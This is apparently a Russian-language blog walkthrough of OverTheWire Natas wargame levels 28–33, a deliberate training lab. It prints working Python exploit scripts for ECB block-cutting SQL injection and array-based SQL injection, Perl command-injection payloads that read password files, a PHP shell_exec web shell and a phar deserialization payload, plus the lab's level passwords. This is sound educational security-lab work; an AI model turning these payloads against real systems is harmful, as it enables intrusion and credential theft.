image

В данной статье мы разберемся с эксплуатацией некоторых WEB-узвимостей на примере прохождения варгейма Natas. Каждый уровень имеет доступ к паролю следующего уровня. Все пароли также хранятся в файлах /etc/natas_webpass/. Например, пароль для natas5 хранится в файле /etc/natas_webpass/natas5 и доступен для чтения только для пользователей natas4 и natas5.

Прошлые части: часть 1, часть 2, часть 3 и часть 4.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

level 28


Отправив любой запрос, видим переадресацию на другую страницу со странным запросом и кодировке base64, декодирование которого ничего не дает.

image

Отправим любой запрос в query. Получаем ошибку, по которой становится понятно, что при переадресации используется шифрование и на данной странице запрос расшифровывается перед тем, как передается в БД. То есть нам необходимо Зашифровать нашу иньекцию и отпаравить на сервер, но мы не знаем ключа. Зато у нас есть Шифратор — это и есть сервер.

image

Для начала разберемсся с шифрованием. Отправим две разные строки «qwerty» и «asdfgh» и проанализируем, как они будут преобразованы.

image

В ответ мы получаем идентичные строки, которые в определенном месте имеют отличительную последовательность. Так как начало и конец у двух ШТ (шифр текст) одинаковые, то можно сделать следующие выводы:

  • используется начальное дополнение к ОТ (открытый текст);
  • имеется конечное дополнение к ОТ;
  • Используется режим ECB, так как при разных ОТ последние блоки ШТ одинаковы, т. е. блоки независимы друг от друга.

Идея следующая: запрос к БД посылаем на шифрование, но он будет преобразован и поэтому при расшифровании, иньекция не будет проходить. Необходимо разобраться с дополнениями, чтобы точно расчитать блоки, где будет зашифрована именно наша полезная нагрузка. Тогда после шифрования, мы заберем из запроса наши блоки и отправим на сервер только их. На сервере они будут расшифрованы и, так как они без дополнения, – выполнены.

Идея представлена на четырех изображениях:

  1. Представление 5-ти блоков.
  2. Шифратор с начальным и конечным дополнением, который шифрует пустую строку.
  3. Шифрование строки «TEXTTEXTTEXTTEXT».
  4. Избавляемся от дополнений путем добавления перед и после нашей строки необходимого количества символов, чтобы вынести ее в отдельный блок. Забираем из ШТ только второй блок.

image

Таким обрахом мы получили только нашу зашифрованную строку на неизвестном нам ключе!!!

Необходимые данные:

  1. Режим шифрования (известно — ECB)
  2. Длина блока (известно — 16)
  3. Длина начального дополнения (неизвестно)
  4. Длина нашего текста (известно — «SELECT password
    AS joke FROM users»)

Необходимо выяснить длину начального заполнения. Так как первые два блока одинаковы, мы будем посылать разное количество символов, и как только третий блок перестанет меняться, мы найдем необходимо количество символов, чтобы его дополнить. Это 10 символов. Ниже представлена реализация вышеупомянутого алгоритма.

import base64
import requests
from urlparse import urlsplit
from urllib2 import unquote

def ChiperQuery(url, auth, query):
    resp = requests.post(url, auth=auth, data={'query': query})
    query_param = unquote(urlsplit(resp.url)[3][6:])
    byte_decode_query = bytearray(base64.b64decode(query_param))
    return byte_decode_query

def SendPayload(url, auth, payload):
	enc_payload = base64.b64encode(bytes(payload))
	ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload})
	return ret.text

url = "http://natas28.natas.labs.overthewire.org/"
auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF")

query = "SELECT password AS joke FROM users"
query += " " * (16-len(query)%16)
plaintext = 'b'*10 + query + chr(16)*16

chip_query = ChiperQuery(url, auth, plaintext)
st_pos = len(query)
count = st_pos+16
result = SendPayload(url, auth, chip_query[st_pos:st_pos+count])
print(result)

image

Получаем пароль.

level 29


Сложно догадаться, что perl код вызывает функцию командной строки и передает в нее комады указанные в данных файл (которые есть возможность выбирать). Дело в том, что мы можем замкнуть конвеер из «exec | команда_чтения файл_с_командами» в «exec | команда_чтения | наша_команда_сmd».

image

Но дело в том, что наша команда будет выводиться в консоль, а не на сайт. Для этого нужно добавить следующую команду замены символов в потоках ввода/вывода: «| tr `до` `после`».

image

Так как команда выполнилась прочитаем из указанного файла пароль. Но нам говорят, что мы не можем этого сделать…

image

Воспользуемся фильтрацие командной строки и вставим в любых местах кавычки, которые при выполнении команды сотрутся.

image

Забираем пароль.

level 30


Просмотрим исходный код. Здесь используется метод quote(), который экранирует все специальные символы в строке. Но он экранирует именно в строке, что дает нам право на эксплуатацию иньекции, если бы мы использовали, к примеру — массив (при этом будет принят нулевой элемент).

image

Давайте придумаем нагрузку для запроса

Select * FROM users where username = 'username' and password = 'password';

Так как имя пользователя мы знаем — natas31, то в пароль внедряем верное условие: '' or 1. Тогда наш запрос станет таким

Select * FROM users where username = 'natas31' and password = '' or 1;

А теперь осталось послать массив.

import requests
url = "http://natas30.natas.labs.overthewire.org/index.pl"

s = requests.Session()
s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e')
args = { "username": "natas31", "password": ["'' or 1", 2] }

r = s.post(url,  data=args)
print(r.text)

image

Забираем пароль.

level 31


Сразу становится понятна суть сервиса: из csv файла мы получим таблицу в html.

image

Посмотрим исходный код.

image

И так, что самое интересное: так это строка while(<$file>), при том что file — это строка из параметра. Таким образом есть возможность выполнить код.

image

Отправим любой csv файл и перехватим запрос в Burp Suite.

image

Теперь допишем команду в качестве параметра.
?/bin/cat%20/etc/natas_webpass/natas32%20|


image

Для вызова нагрузки из параметра добавим следующие строки:

-----------------------------716973545450730846281908502
Content-Disposition: form-data; name="file";
Content-Type: text/csv

ARGV

image

image

Получаем пароль.

level 32


Открываем страницу, где нам говорят, что нужно доказать выполнение кода и выполнить файл webroot.

image

Если посмотреть код, он точно такой же как и на прошлом уровне. Тогда эксплуатируем уязвимость как в прошлый раз. Давайте найдем файл webroot. Для этого просмотрим дирректорию, используя в качестве нагрузки: ls -la |

image

Получаем список файлов. Webroot там нет, но есть странная программа getpassword.
Выполняем ее.

image

image

Получаем пароль для последнего уровня.

image

level 33


Снова форма загрузки файлов.

image

Просмотрим исходный код.

image

Таким образом мы должны загрузить на сервер файл, размером до 4 Мб и если md5 от содержимого файла равно эталонному значению, он выполнится в интерпретаторе php. Смотрим далее. Мы можем контролировать имя файла и его содержимое.

image

Скажу сразу, что это сложная уязвимость, с которой я познакомился пол года назад. Она направлена на то, что мы можем загрузить на сервер файл любого типа и с его содержимым будут произведены какие-либо операции. О phar файлах написано тут. Если кратко, то специальный архив php, представляющий собой сериализованные данные. При этом чтение потока phar приведет к исполнению кода. Таким образом можно сериализоваьб код, и отправить серверу. При вычислении md5 будет прочитан поток — что приведет к исполнению кода.

Таким образом сначала создадим php файл, который прочитает флаг.

<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>

Загрузим его на сервер. Не забываем менять имя в Burp Suite.

image

image

Получаем ответ сервера… Ок. Теперь создадим phar архив, который при выполнении изменит нужные нам значения(хеш всегда юудет верен и имя файла, который уже был загружен на сервер). Так мы пройдем проверку и сервер выполнит shell.php.

<?php
	class Shell {
		private $filename = "shell.php"; 
        private $signature = True;
        private $init = false;
	}

	$phar = new Phar("shell.phar");
	$phar->startBuffering();
	$phar->addFromString("123.txt", '123');
	$phar->setStub("<?php __HALT_COMPILER(); ?>");
	$s = new Shell();
	$phar->setMetadata($s);
	$phar->stopBuffering();
?>

Перед компилирование в файле /etc/php/x.x/php.ini нужно изменить параметр phar.readonly на Off.

image

Далее выполняем php shell.php и у нас появляется файл .phar. Отправляем его на сервер и изменяем имя.

image

Так у нас есть оба файла это архив и шелл. Теперь нужно вызвать чтение файла из архива, что и приведет к исполнению кода.

image

Получаем пароль.

image

Вот такой была площадка Natas. Вы можете присоединиться к нам в Telegram.

Комментарии (1)


  1. datacompboy
    29.08.2019 10:48

    Чем дальше в лес, тем меньше это похоже на реальные проблемы, и больше на попытку станцевать с подвыподвертом.